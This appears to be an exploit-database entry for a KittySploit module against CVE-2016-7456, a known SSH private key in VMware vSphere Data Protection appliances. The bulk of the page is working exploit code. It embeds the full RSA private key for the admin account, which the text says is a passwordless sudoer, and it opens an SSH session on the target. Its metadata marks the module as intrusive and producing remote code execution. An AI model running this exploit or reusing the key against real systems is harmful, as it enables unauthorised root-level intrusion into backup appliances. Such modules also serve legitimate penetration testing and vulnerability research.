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VMware VDP Known SSH Key

🗓️ 01 Dec 2025 12:51:31Reported by KittySploitType 
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VMware vSphere Data Protection contains a known SSH private key for the local admin.

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Code
from kittysploit import *
from lib.protocols.ssh.ssh_client import Ssh_client
from lib.exploit.handler import Handler

class Module(Exploit, Ssh_client, Handler):


	__info__ = {
			'name': 'VMware VDP Known SSH Key',
			'description': 'VMware vSphere Data Protection appliances 5.5.x through 6.1.x contain a known'\
       						'ssh private key for the local user admin who is a sudoer without password',
			'cve': '2016-7456',
			'payload': {
				'default':'nopayload',
				},
		'agent': {
		    'risk': 'intrusive',
		    'effects': ['active_exploitation'],
		    'expected_requests': 2,
		    'reversible': False,
		    'approval_required': True,
		    'produces': ['exploit_paths', 'risk_signals'],
		    'cost': 1.5,
		    'noise': 0.5,
		    'value': 1.0,
		    'requires': 		    {'min_endpoints': 0,
		     'min_params': 0,
		     'tech_hints_any': [],
		     'tech_hints_all': [],
		     'specializations_any': [],
		     'risk_signals_any': [],
		     'auth_session': False,
		     'capabilities_any': [],
		     'capabilities_all': [],
		     'confidence_min': {},
		     'confidence_min_any': {},
		     'endpoint_pattern_any': [],
		     'param_any': [],
		     'api_surface_ready': False},
		    'chain': 		    {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
		     'consumes_capabilities': [],
		     'option_bindings': {},
		     'suggested_followups': ['post/shell/multi/gather/privesc_suggester']},
		},
		}

	ssh_target = OptString("", "Target IPv4", "yes")
	ssh_port = OptPort(22, "Target SSH port", "yes")
 
	def run(self):
		key_data = """
-----BEGIN RSA PRIVATE KEY-----
MIICWQIBAAKBgQCx/XgSpdlvoy1fABui75RYQFTRGPdkHBolTNIAeA91aPfnAr2X
/PuZR/DiHMCYcn6/8A5Jn75YOD3OL0mumJJR1uQ4pyhY+MSptiMYxhvDLIiRRo16
9jewWCSH/7jqWH8NhImpVxt5SjWtKhQInTdPkG1dCj8oSn87bt8fKvLcVQIBIwKB
gFuJq3dN+suzAWQOryCYeC1i6cqfICTbQKV39vjtScdajh8IuUbZ4Hq3SK7M9VW3
Od8NvjR+Ch691qSNWRf2saWS5MHiaYGF3xWwZokbJWJWmxlQ+Di9QAyRkjDIuMCR
Sj/vvCa6kWzZlSZWOyNbs38XkWoKXqVYwtnyXrINpZJTAkEA2p0ZrCKQTWBKt7aT
Rvx/8xnoYu9hSXIG1k11ql0HZdRpmveuZe64Gl6oJtgBZMXNdvAds+gvGTVCSfBO
c2ne0wJBANBt3t84oicWJpkzXnUBPOZdheKfAK6QO7weXiRmbILTJ5drPdu8pmxR
c1uQJgYitaSNKglJmz2WNOoaPZz/7zcCQBj8Au8Z5Jsg8pinJsZIvippXGMUCx5W
LKrHBiIZQqyNTeXTKd/DgsEvY6yq+NhRHsvDq5+IP+Wfr83vk+/u16MCQE1qozz3
xzMW2yL10qB8zXoivLNCX1bH26xFyzIXaiH2qE4vJZrCabM0MilSzEtr+lMP3GnZ
gs27cr1aNCRfD7UCQHOXGagsD/ijMGNcWPBQOY3foHzxozoBLGmysAmVz3vX6uyr
Y7oq9O5vDxwpMOAZ9JYTFuzEoWWg16L6SnNVYU4=
-----END RSA PRIVATE KEY-----
		"""
		client = self.open_ssh(user="admin")
		connection = client.login_rsa(key_data)
		if connection:
			self.handler_ssh(connection)
		else:
			self.not_vulnerable()

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10 Jul 2026 11:31Current
5.9Medium risk
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